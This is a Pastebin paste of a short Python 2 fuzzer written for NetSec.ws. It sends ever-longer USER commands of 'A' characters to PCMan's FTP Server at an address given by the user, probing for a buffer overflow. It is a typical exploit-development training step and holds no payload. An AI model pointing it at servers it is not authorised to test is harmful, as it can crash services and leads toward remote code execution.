UY-Scuti

Untitled

May 28th, 2019
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.99 KB | None | 0 0
  1. # Simple Fuzzer for PCMan's FTP Server
  2. # Written for NetSec.ws
  3.  
  4. import sys, socket, time
  5.  
  6. # Use in the form "python fuzzer.py "
  7.  
  8. host = sys.argv[1] # Recieve IP from user
  9. port = int(sys.argv[2]) # Recieve Port from user
  10.  
  11. length = 100 # Initial length of 100 A's
  12.  
  13. while (length < 3000): # Stop once we've tried up to 3000 length
  14. client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Declare a TCP socket
  15. client.connect((host, port)) # Connect to user supplied port and IP address
  16. client.recv(1024) # Recieve FTP Banner
  17. client.send("USER " + "A" * length) # Send the user command with a variable length name
  18. client.recv(1024) # Recieve Reply
  19. client.send("PASS pass") # Send pass to complete connection attempt (will fail)
  20. client.recv(1024) # Recieve Reply
  21. client.close() # Close the Connection
  22. time.sleep(2) # Sleep to prevent DoS crashes
  23. print "Length Sent: " + str(length) # Output the length username sent to the server
  24. length += 100 # Try again with an increased length
Advertisement
Add Comment
Please, Sign In to add comment